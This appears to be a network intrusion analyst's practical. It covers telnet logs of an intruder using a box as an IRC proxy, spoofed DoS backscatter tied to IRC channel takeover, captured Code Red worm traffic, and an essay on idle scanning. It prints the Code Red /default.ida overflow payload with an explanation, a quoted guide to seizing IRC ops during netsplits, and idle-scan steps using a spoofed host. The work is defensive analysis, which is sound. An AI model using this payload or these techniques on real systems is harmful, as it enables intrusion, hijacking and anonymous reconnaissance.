BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 667
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 t
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 elnet
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071  ir
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 c
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 .f
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 re
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 en
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 et
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 .
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 d
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 e
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 66
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 67
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 USE
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 R d
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 d d
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 d d\r\0
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 NIC
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 K
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 dkkr
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 JOIN
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 #g
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 i
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 arre\r\0
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 n
```

```
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 slo
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 ok
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 up
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 OUR.BOX.62.124
```

The intruder wanted to connect to IRC using our IP address. Maybe his IP address has been banned from IRC, or he has another reason for hiding his identity.

Correlation:

Psybnc Help page at http://www.shellchoice.com:
http://www.shellchoice.com/help/psy.htm

Ulogin's homepage----etc-crew:
http://www.etc-crew.org/

Evidence of Active Targeting:
There is definitely evidence of active targeting to a machine in our network. The intruder began with reconnaissance of many machines in our network and then focused in on a box that responded to the probes.

Severity:
(system criticality + attack lethality) – (system countermeasures + network countermeasures)
(3 + 4) – (1 + 2) = 4

System Criticality: This was a standard workstation with some sensitive data.

Attack Lethality: The fact that the user was able to log into the machine and compile/execute code is very lethal.

System Countermeasures: I give this a 1 because the user was able to easily get into this system

Network Countermeasures: Our network did nothing to slow down this attackers recon. Our sensors picked this up quickly however, so I give this a 2.

Defensive Recommendation:
This attack occurred because of weak security on a machine running telnetd. The system administrator should strongly consider switching to SSH as a means of providing remote shell access.

Example Question:
Why would an intruder use your machine as a proxy?

a) Because you may have a faster internet connection
b) In order to conceal their true IP address from the destination machine
c) Because the proxy server will provide a different route to the destination
d) In order to be able to browse the files available on the proxy machine

Answer b)

Detect 4

Initial TCPDump Data:

01:09:40.340873 216.130.204.252.6667 > OUR.BOX.236.214.1631: S 701310276:701310276(0) ack 1 win 16384 (DF) (ttl 53, id 58024)
01:09:40.355905 216.130.204.252.6667 > OUR.BOX.236.214.1631: R 1:1(0) ack 1 win 16384 (DF) (ttl 53, id 58139)
01:09:45.837248 216.130.204.252.6667 > OUR.BOX.236.214.1631: S 2950303104:2950303104(0) ack 1 win 16384 (DF) (ttl 53, id 33757)
01:09:45.861820 216.130.204.252.6667 > OUR.BOX.236.214.1631: R 1:1(0) ack 1 win 16384 (DF) (ttl 53, id 33942)
01:10:06.748201 216.130.204.252.6667 > OUR.BOX.236.214.1631: S 408450548:408450548(0) ack 1 win 16384 (DF) (ttl 53, id 62744)
01:10:06.784899 216.130.204.252.6667 > OUR.BOX.236.214.1631: R 1:1(0) ack 1 win 16384 (DF) (ttl 53, id 63020)
01:10:15.465471 216.130.204.252.6667 > OUR.BOX.236.214.1631: S 3760851818:3760851818(0) ack 1 win 16384 (DF) (ttl 53, id 462)
01:10:15.467433 216.130.204.252.6667 > OUR.BOX.236.214.1631: R 1:1(0) ack 1 win 16384 (DF) (ttl 53, id 477)
01:10:19.264958 216.130.204.252.6667 > OUR.BOX.236.214.1631: S 3528086105:3528086105(0) ack 1 win 16384 (DF) (ttl 53, id 29505)
01:10:19.308700 216.130.204.252.6667 > OUR.BOX.236.214.1631: R 1:1(0) ack 1 win 16384 (DF) (ttl 53, id 29837)
01:10:28.421614 216.130.204.252.6667 > OUR.BOX.236.214.1631: S 1754888011:1754888011(0) ack 1 win 16384 (DF) (ttl 53, id 35347)
01:10:28.520729 216.130.204.252.6667 > OUR.BOX.236.214.1631: R 1:1(0) ack 1 win 16384 (DF) (ttl 53, id 36091)
01:10:29.662444 216.130.204.252.6667 > OUR.BOX.236.214.1631: S 2038394066:2038394066(0) ack 1 win 16384 (DF) (ttl 53, id 44862)
01:10:29.672763 216.130.204.252.6667 > OUR.BOX.236.214.1631: R 1:1(0) ack 1 win 16384 (DF) (ttl 53, id 44937)
01:10:53.918619 216.130.204.252.6667 > 128.159.126.89.2077: S 157372087:157372087(0) ack 1 win 16384 (DF) (ttl 53, id 37862)
01:10:53.956977 216.130.204.252.6667 > 128.159.126.89.2077: R 1:1(0) ack 1 win 16384 (DF) (ttl 53, id 38183)
01:10:59.120130 216.130.204.252.6667 > OUR.BOX.236.214.1631: S 555102609:555102609(0) ack 1 win 16384 (DF) (ttl 53, id 12080)
<very small sample>

From Solaris command line (done to confirm this is a legitimate IRC server..this was confirmed by the fact that an ident check was performed. This is routine on most IRC servers):

[root@mybox /]# telnet 216.130.204.252 6667
Trying 216.130.204.252...
Connected to 216.130.204.252.
Escape character is '^]'.
NOTICE AUTH :*** Looking up your hostname...
NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** Couldn't look up your hostname

Sources of Trace:
The traces were detected on my work network.

Detect Generated by:
IP address 216.130.204.252 was flagged by Shadow Script 'findscan.pl'. Findscan.pl is designed to detect IP addresses which exceed a threshold of unique IP contacts within a given time period. Our threshold is 15 'non-DNS/non-HTTP' packets within one hour. We have automatic scripts which then parse logged TCPDUMP traffic for these flagged IP addresses.

Probability that Source Address was Spoofed:
The source address, 216.130.204.252 was most likely not spoofed. However, our addresses were probably spoofed. 216.130.204.252 is replying with SYN/ACKS and RESETS, which indicates he is responding to an initial SYN packet. We know our machines did not send any initial packets. So someone most likely spoofed our addresses in an original packet to 216.130.204.252.

Attack Description
This was a DOS attack against an IRC Server via port 6667 with our addresses as the spoofed sources. The packets we are seeing here are the IRC servers' response to these initial probes.

Attack Mechanism
This is a very common traffic pattern our networks. Initially, it may be difficult to understand what is happening here. An understanding of how IRC works is important in this example. IRC is extremely popular among the hacker community. In an IRC channel, there are channel leaders called 'operators' or 'ops' for short. These users have absolute control over everything in the channel. To become an op, you either have to be given that permission by an existing operator, or be the very first person in a channel to enter a command to become an operator if an operator doesn't exist. Internet Relay Chat (IRC) is a tree-node based system. Several separate servers around the country host users, and these servers communicate up a hierarchy tree with other servers other to propagate traffic. The interesting events occur when one of these servers goes down. At many points on the IRC network, there are no redundant routes. So, if host goes down, the network will be split for a brief moment in time until that server comes back up.

Imagine a popular channel with 3 operators. One person, known here as Opseeker, wants to become an operator in that channel. A DOS attack against one of the servers in the hierarchy splits the network into 2 segments as shown below:

@3ops here---------- Network split ----------Opseeker

Now, the side with the 3 ops remains relatively unchanged, except for the fact that all users on the other side of the network appear to have signed off. On the other side of the split, all 3 operators appear to sign off! Now, Opseeker can successfully enter the command to become channel operator. Opseeker is now a channel operator, and when

the network joins back together, he will retain that operator status as long as he can take operator status away from the other operators before they realize what has happened.

This example is a simpler version of what happens on modern IRC servers. Most popular channels have scripts and automatic bots to prevent such occurrences. However, these same techniques can currently be used. Opseeker can DOS the actual server that an operator is on. When that server drops off, the opseeker signs on to a server which doesn't check ident (verify you are who you say you are). The opseeker spoofs their identity as the operator that has been split off the network. This fools most bots/scripts into believing that opseeker really is the operator that has been split off. At this point, opseeker takes operator status away from everyone but himself. He then gives operator status to his real IRC identity, and finally he takes operator status away from the split operator. Now, the only operator in the channel is opseeker, and when the original operator's server recovers from the network split, they will no longer have operator status. In fact, opseeker may have banned them altogether!

Correlation

You won't find any CERT alerts on the art of overtaking IRC channels. So you have to go to the IRC veterans to gather information:

From M. D. Yesowitch (yesowitc@kei.com) in usenet group alt.irc:

"….I think you've failed to understand what a netsplit is. A netsplit is when the connection of two or more servers is severed. What you see when those people leave is not them being ejected from the channel, it's them splitting away from you, or put the other way, you splitting away from them.
They don't leave IRC or the channel, you just can't see them or talk to them and they can't see you or talk to you. From their perspective you are the one who has left."

From SimHacker 's (simhacker@simhacker.demon.co.uk) excellent guide "mIRC Hacking Exploit" posted to alt.hacker:

http://groups.google.com/groups?q=get+op+netsplit&hl=en&safe=off&rnum=6&selm=7ufQpLAJJvl0EwVF%40simhacker.demon.co.uk

"….. Now, you are in control. You have ops! Don't you like that power? You think "but, I will not have ops for ever, the server will deop me, oh well, it is fun meantime." - well, the server MIGHT de-op you - however if the **netsplit** is long, and you **get** ops quickly - the times on the servers **get** desynched - and u don't **get** deoped. So, you have a 75% chance of being an **op** once the split is over. What u need to do is design a /OPME script or something.
OK, the /OPME would need to DEOP all other ops - except you. This is where I failed. During a 45 minute **netsplit** the other day, I took over #warez666 on undernet - one of the biggest channels. This was fun! I had ops for 35 seconds - having taken over a small teen channel at the same time, I succeded there, but was deoped by a bot on #WAREZ666."

Evidence of Active Targeting
There was no active targeting against machines in our network. Our address space is being spoofed along with many, many others. There was definitely active targeting against the IRC server. The attackers wanted to take that machine off the network.

Severity
(system criticality + attack lethality) – (system countermeasures + network countermeasures)
(1 + 1) – (4 + 2) = -4
System Criticality:
Since Random addresses were spoofed, some of them not even existing nodes, I leave this as a minimum.

Attack Lethality:
This was not an attack at us. Therefore, it stays at 1. It is more of a nuisance than anything.

System Countermeasures:
Our systems would not divulge more than a RESET from these incoming packets.

Network Countermeasures:
Our network is not configured to deny IRC traffic. Our sensor's do detect these scan-type events.

Defensive Recommendation
This type of attack is seen very regularly, but is more of a nuisance than a threat (unless you are running an IRC server). Many large organizations block IRC traffic all together due to the fact that can be detrimental to work productivity. A stateful firewall could filter incoming port 6667 packets that do not have an already established connection. This solution would allow legitimate ephemeral port 6667 traffic (such as HTTP SYN requests) to pass through, while blocking the probe response we are seeing here.

Question Example
What is the primary goal for a DOS attack against an IRC server?
a) To improve transfer rates of files over IRC by reducing the number of users
b) To take over a channel by becoming an operator
c) Revenge because the attackers are offended by the channel #aolsux

Answer: b)

Detect 5

NIDS capture:

Ethernet source : 0:4:de:58:29:20
Ethernet destination : 0:60:83:25:dd:0
Ethernet bytes : 1534
Ethernet time : Thu Aug 2 10:28:28 2001
Network protocol : IP
Network source : CODE.RED.85.37 (Unknown)
Network destination : OUR.BOX.91.253 (Unknown)
Network bytes : 1520
Transport protocol : tcp
Transport bytes : 1480
Application source : 1417
Application destination : 80
NIT total length : 1554
NIT message length : 1546

--- The stream script ---

/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNN%u9
090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9
09
0%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0
Content-type: text/xml
HOST:www.worm.com
Accept: */*
Content-length: 3569

U<11>l<1>l<24><2>SVW
=h}<127><127>9<6>8LLLLs+G<5>p~<127><127>i
<11><15><5>h~<127><127>
=p~<127><127>d! d =io
...

IP Header from first packet:

Ethernet source : 0:4:de:58:29:20
Ethernet destination : 0:60:83:25:dd:0
Ethernet bytes : 1534
Ethernet time : Thu Aug 2 12:48:42 2001
Network protocol : IP
Network source : CODE.RED.85.37 (Unknown)
Network destination : OUR.BOX.68.16 (Unknown)
Network bytes : 1520
Transport protocol : tcp
Transport bytes : 1480
Application source : 2092
Application destination : 80
NIT total length : 1554
NIT message length : 1546

--- The stream script ---

/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNN%u9
090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9
09
0%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0
Content-type: text/xml
HOST:www.worm.com
 Accept: */*
Content-length: 3569

U<11>l<1>l<24><2>SVW

TCPDump traffic. This is an example of a Code Red infected machine (source address) attempting to spread the worm to additional machines:

```
09:58:45.746922 OUR.BOX.84.182.2392 > TARGET.BOX.3.248.80: S 898890486:898890486(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.747168 OUR.BOX.84.182.2392 > TARGET.BOX.3.248.80: S 898890486:898890486(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.747317 OUR.BOX.84.182.2392 > TARGET.BOX.3.248.80: S 898890486:898890486(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.747426 OUR.BOX.84.182.2392 > TARGET.BOX.3.248.80: S 898890486:898890486(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.747462 OUR.BOX.84.182.2392 > TARGET.BOX.3.248.80: S 898890486:898890486(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.795604 OUR.BOX.84.182.2657 > TARGET.BOX.187.160.80: S 913917623:913917623(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.795658 OUR.BOX.84.182.2657 > TARGET.BOX.187.160.80: S 913917623:913917623(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.795742 OUR.BOX.84.182.2657 > TARGET.BOX.187.160.80: S 913917623:913917623(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.795864 OUR.BOX.84.182.2657 > TARGET.BOX.187.160.80: S 913917623:913917623(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.795902 OUR.BOX.84.182.2657 > TARGET.BOX.187.160.80: S 913917623:913917623(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.796057 OUR.BOX.84.182.2657 > TARGET.BOX.187.160.80: S 913917623:913917623(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
09:58:45.796097 OUR.BOX.84.182.2657 > TARGET.BOX.187.160.80: S 913917623:913917623(0) win
16384 <mss 1460,nop,nop,sackOK> (DF)
```

Sources of Trace
The traffic was detected on my work network.

Detect Generated By:
The initial alert was triggered by the NIDS intrusion detection system. The filter that triggered this trace was based on the "default.ida?" which occurs during a code web worm. The second set of data was captured by TCPDUMP. We auto capture TCPDUMP data

and stop/restart the process each hour. This way we have hourly log files of all traffic from which we can search for data. I went back and captured the TCPDUMP data corresponding to our suspect IP address. From there, we proceeded to capture live traffic using the 'snoop' utility on a Solaris machine.

Probability the Source Address was Spoofed:
It is highly unlikely the source address was spoofed. This is HTTP port 80 traffic which uses TCP. Thus, for the connection to reach data transfer point, matching sequence numbers were exchanged. Technically, the address could be spoofed using sequence number prediction, but spoofing doesn't make sense in the context of this attack.

Attack Description
This attack is the now notorious Code Red worm (CA-2001-13). It takes advantage of a buffer overflow in MS Internet Information Services and MS Windows 2000 indexing service. When a machine is infected, it will begin attempting to infect other machines with a copy of itself.

More information on the code red is available from CERT at:
http://www.cert.org/advisories/CA-2001-13.html

Attack Mechanism
The Code Red worm's code is inserted into your system memory when the URL "/default.ida" is accessed and data is passed. The worm spreads itself by attempting webserver connections and passing the buffer overflow URL. If it finds a listening port 80, it passes the same URL to that webserver to attempt to infect that machine. Of course, if that machine is running MS IIS or Indexing Service, it will be infected. The worm code is not written to disk. It remains solely operating in memory. The way the worm behaves is influenced by what day of the month it is. If it is before the 20th of the month, the worm will spawn 99 threads which will connect to random IP addresses in order to attempt to spread itself. If it is between the 20th and 28th of the month, the worm will send junk data to 198.137.240.91, which coincidently was www.whitehouse.gov. It has since been changed due in part to these attacks. If the date is after the 28th of the month, it will spawn 99 threads and put them in an infinite sleep state. This causes server instability due to extra system overhead. In addition, web pages stored on victim machines may be defaced with the following message-

> HELLO! Welcome to http://www.worm.com! Hacked By Chinese!

A brief description of the buffer overflow, which is based on the unicode overflow, from www.eeye.com 's Ryan Permeh:
http://www.eeye.com/html/Research/Advisories/AD20010618.html

"This buffer overflows in a wide character transformation operation. It takes the ASCII (1 byte per char) input buffer and turns it into a wide char/unicode string (2 bytes per char) byte string. For instance, a string like AAAA gets transformed into \0A\0A\0A\0A. In this transformation, buffer lengths are not checked and this can be used to cause EIP (the instruction pointer) to be overwritten."

Lets take a look at the code to loosely decipher what is happening:

```
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNN%u9
090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9
09
0%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00= aHTTP/1.0
```

1) Default.ida is the MS Indexing filter which has the buffer overflow vulnerability when transforming a large amount of submitted data
2) The ? after default.ida tells the web browser that the following data is to be passed to port 80
3) The 'NNNNNNNN' block is the No Op sled. It is also the letter group which when transformed by default.ida will overflow the buffer.
4) The data beginning with "%u9….." is the beginning of the code to be executed by the target system
5) The last part of the data, right before the = sign, is our modified instruction pointer. The old pointer, which pointed at the normal place where the program would continue, has been overwritten with the location where we want the program to continue. We want the program to continue somewhere within our group of "NNNNN"s. This way our modified code will get executed.

Correlation

The Code Red worm is no secret. It has infected countless machines within the last month.

As mentioned earlier, the code red CERT advisory is CA-2001-13.
http://www.cert.org/advisories/CA-2001-13.html

Symantac has several recommendations on detecting and cleaning a Code Red infiltrated machine:
http://www.symantec.com/avcenter/venc/data/codered.worm.html

Also, as referenced earlier, Eeye has a great article breaking down the inner workings of Code Red.
http://www.eeye.com/html/Research/Advisories/AD20010618.html

Evidence of Active Targeting
The Code Red worm does not use active targeting when trying to spread itself. The addresses generated to attempt to spread itself are random. However, the random

generation is based on the same randomizing seed, IP addresses appearing early will get more hits than later IP addresses.
Code Red does actively target the former 'www.whitehouse.gov' address.

Severity
(system criticality + attack lethality) – (system countermeasures + network countermeasures)
(4 + 2) – (3 + 2) = 1

System Criticality:
This is a webserver. We want the public to access our site. In a business oriented website this would be a 5.

Attack Lethality:
The attack is more of a nuisance than anything. Although it is a very widespread nuisance. It will not compromise data. It will cause network latency only.
There is a small chance it could crash your webserver.

System Countermeasures:
The main countermeasure is to have all systems patched for the exploits. Since the machines here were compromised, they were not prepared.

Network Countermeasures:
There is not much that can be done to stop this traffic if you'd like to keep your webservers open to the public. I give it a two simply because IDS's can easily be configured a filter which will detect any attempts to spread the worm.

Defensive Recommendation
An organization obviously wants their webservers available to the public. Blocking access to the webservers is not an option. The most important advice is to make sure all Microsoft IIS machines are patched against the Code Red vulnerability. Also, keep monitoring for internal machines scanning external addresses for webservices. This could indicate a Code Red compromised system.

Question Example

The Code Red worm stores it's execution code in which file?
a) c:\win.ini
b) c:\autoexec.bat
c) c:\NOWORM
d) It doesn't write it's execution code to disk.

Answer: d)

PART 2 -- Essay

Anonymous Reconnaissance

Network scans are becoming more and more troublesome as the internet moves to high bandwidth connectivity. In my intrusion analysis, I find that 90% of the traffic detected up by our sensors turns out to be some form of reconnaissance. Consumer level high bandwidth connectivity has resulted in more 'sitting duck' systems, and hackers are eager to locate these machines. The topic I want to address is anonymous reconnaissance. During most scans, the IP addresses of the black hat stick out like a sore thumb. There are, however, some advanced techniques that an intruder can use to conceal their identity, yet still be able to get results from their scans. I am going to examine two of these advanced techniques.

IdleScan

The first example uses a combination of IP address spoofing, IP identification field analysis, and a 'dummy' machine. For the dummy machine, we need a machine that has an active internet connection but does not have an active user. The fact that internet connections are moving from on demand dialup access to 'always on' connections makes these systems easy to find. We need a machine where very minimal amount of traffic is being generated.

The dummy machine also must run an operating system capable of having it's IP identification fields predicted. RFC 791 describes the IP header identification field as follows:

> The identification field is used to distinguish the fragments of one datagram from those of another. The originating protocol module of an internet datagram sets the identification field to a value that must be unique for that source-destination pair and protocol for the time the datagram will be active in the internet system. The originating protocol module of a complete datagram sets the more-fragments flag to zero and the fragment offset to zero.

Some actual testing of IP identification numbers was done by Ofir Arkin (ofir@SYS-SECURITY.COM) in the usenet newsgroup bugtraq:

In the next example I have sent two ICMP Echo requests from a Windows NT 4 Server with SP6a based machine targeting a LINUX machine based on Kernel 2.2.14:

```
08/10-16:55:06.638539 10.0.0.117 -> 10.0.0.105
ICMP TTL:32 TOS:0x0 ID:28416
ID:256   Seq:768  ECHO
61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70  abcdefghijklmnop
```

```
71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69  qrstuvwabcdefghi

08/10-16:55:06.638592 10.0.0.105 -> 10.0.0.117
ICMP TTL:255 TOS:0x0 ID:1452
ID:256   Seq:768  ECHO REPLY
61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70  abcdefghijklmnop
71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69  qrstuvwabcdefghi

08/10-16:55:07.639784 10.0.0.117 -> 10.0.0.105
ICMP TTL:32 TOS:0x0 ID:28672
ID:256   Seq:1024  ECHO
61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70  abcdefghijklmnop
71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69  qrstuvwabcdefghi

08/10-16:55:07.639841 10.0.0.105 -> 10.0.0.117
ICMP TTL:255 TOS:0x0 ID:1453
ID:256   Seq:1024  ECHO REPLY
61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70  abcdefghijklmnop
71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69  qrstuvwabcdefghi
```

The first ICMP Echo request sent from the Microsoft NT 4 based machine was sent with IP ID of 28416. The second ICMP Echo request was sent with IP ID value of 28672. Simple calculation will show a gap of 256 between the IP ID field values.

Looking at the replies the LINUX based machine produced, we see a gap of 1 between one IP ID to the next.

Other OSs that act the same
The other operating systems that act the same are the older Microsoft based operating systems. They include – Windows 95, Windows 98, Windows 98 SE, Windows NT 4 family (regardless of the Service Pack installed).

From the example above, we see that different operating systems handle IP identification numbers in different ways. Microsoft Windows 9x/NT systems increment each packets IP id field by 256. Linux increments it's IP identification field by 1.

Here is a packet capture where I communicate via SSH between a Solaris 7 and Windows 2000 machine:

```
20:33:59.727178 MY.NET.153.173.4796 > cindy.22: . ack 201538327 win 17300 (DF) (ttl 127, id 54439)
20:33:59.727226 cindy.22 > MY.NET.153.173.4796: P 1:105(104) ack 0 win 8760 (DF) (ttl 255, id 10448)
20:33:59.927478 MY.NET.153.173.4796 > cindy.22: . ack 105 win 17196 (DF) (ttl 127, id 54440)
20:34:00.643354 cindy.22 > MY.NET.153.173.4796: P 105:245(140) ack 0 win 8760 (DF) (ttl 255, id
10449)
20:34:00.830733 MY.NET.153.173.4796 > cindy.22: . ack 245 win 17056 (DF) (ttl 127, id 54441)
20:34:00.830766 cindy.22 > MY.NET.153.173.4796: P 245:481(236) ack 0 win 8760 (DF) (ttl 255, id
10450)
20:34:01.028882 MY.NET.153.173.4796 > cindy.22: . ack 481 win 16820 (DF) (ttl 127, id 54442)
20:34:01.640241 cindy.22 > MY.NET.153.173.4796: P 481:629(148) ack 0 win 8760 (DF) (ttl 255, id
10451)
20:34:01.832516 MY.NET.153.173.4796 > cindy.22: . ack 629 win 16672 (DF) (ttl 127, id 54443)
```

As demonstrated, Windows 2000 and Solaris both increment by 1.

During this reconnaissance will assume 2 basic properties of TCP/IP that most OS's follow:

(1) * hosts reply SYN|ACK to SYN if tcp target port is open,
reply RST|ACK if tcp target port is closed.

(2)* hosts reply RST to SYN|ACK, reply nothing to RST.
(antirez--http://www.securityfocus.com/frames/?content=/templates/archive.pike%3Flist%3D1%26mid%3D11581)

The dummy machine is the machine we are going to spoof.

First we must gauge the current status of the TCP stack on our dummy machine. We send a few test packets to the box and examine the return values:

In this example, we are using a windows 2000 machine as the dummy machine.

```
20:55:05.414363 eth1 < MY.NET.153.173 > rocky: icmp: echo request (ttl 127, id 55224)
20:55:05.414363 eth0 P MY.NET.153.173 > rocky: icmp: echo request (ttl 127, id 55225)
20:55:05.414363 eth0 > rocky > MY.NET.153.173: icmp: echo reply (DF) (ttl 255, id 4032)
20:55:05.414363 eth1 P rocky > MY.NET.153.173: icmp: echo reply (DF) (ttl 255, id 4033)
20:55:06.414363 eth1 < MY.NET.153.173 > rocky: icmp: echo request (ttl 127, id 55226)
20:55:06.414363 eth0 P MY.NET.153.173 > rocky: icmp: echo request (ttl 127, id 55227)
20:55:06.414363 eth0 > rocky > MY.NET.153.173: icmp: echo reply (DF) (ttl 255, id 4044)
20:55:06.414363 eth1 P rocky > MY.NET.153.173: icmp: echo reply (DF) (ttl 255, id 4045)
20:55:07.414363 eth1 < MY.NET.153.173 > rocky: icmp: echo request (ttl 127, id 55228)
20:55:07.414363 eth0 P MY.NET.153.173 > rocky: icmp: echo request (ttl 127, id 55229)
```

We see here that the Windows 2000 dummy machine is at IP packet ID 55229.

Our next step is to select our scan target. What we want to do is send a series of 5 packets to our target, with the IP of our dummy machine as the spoofed source.

```
20:59:49.453342 MY.NET.153.173.32769 > cindy.80: S 493760852:493760852(0) win 5840 <mss
1460,sackOK,timestamp 4338890[|tcp]> (DF) (ttl 63, id 1438)
20:59:49.459456 MY.NET.153.173.32770 > cindy.80: S 493760852:493760852(0) win 5840 <mss
1460,sackOK,timestamp 4338890[|tcp]> (DF) (ttl 63, id 1439)
20:59:49.465998 MY.NET.153.173.32771 > cindy.80: S 493760852:493760852(0) win 5840 <mss
1460,sackOK,timestamp 4338890[|tcp]> (DF) (ttl 63, id 1440)
20:59:49.472756 MY.NET.153.173.32772 > cindy.80: S 493760852:493760852(0) win 5840 <mss
1460,sackOK,timestamp 4338890[|tcp]> (DF) (ttl 63, id 1441)
20:59:49.477263 MY.NET.153.173.32773 > cindy.80: S 493760852:493760852(0) win 5840 <mss
1460,sackOK,timestamp 4338890[|tcp]> (DF) (ttl 63, id 1442)
```

In the above example, if cindy is listening on port 80, it will send MY.NET.153.173 five SYN/ACK packets. According to TCP property #2, MY.NET.153.173 will reply with 5 RESET packets. When MY.NET.153.173 sends the five RESET packets, it's IP identification field will increase by 5 to 55234 (next packet will be 55235).

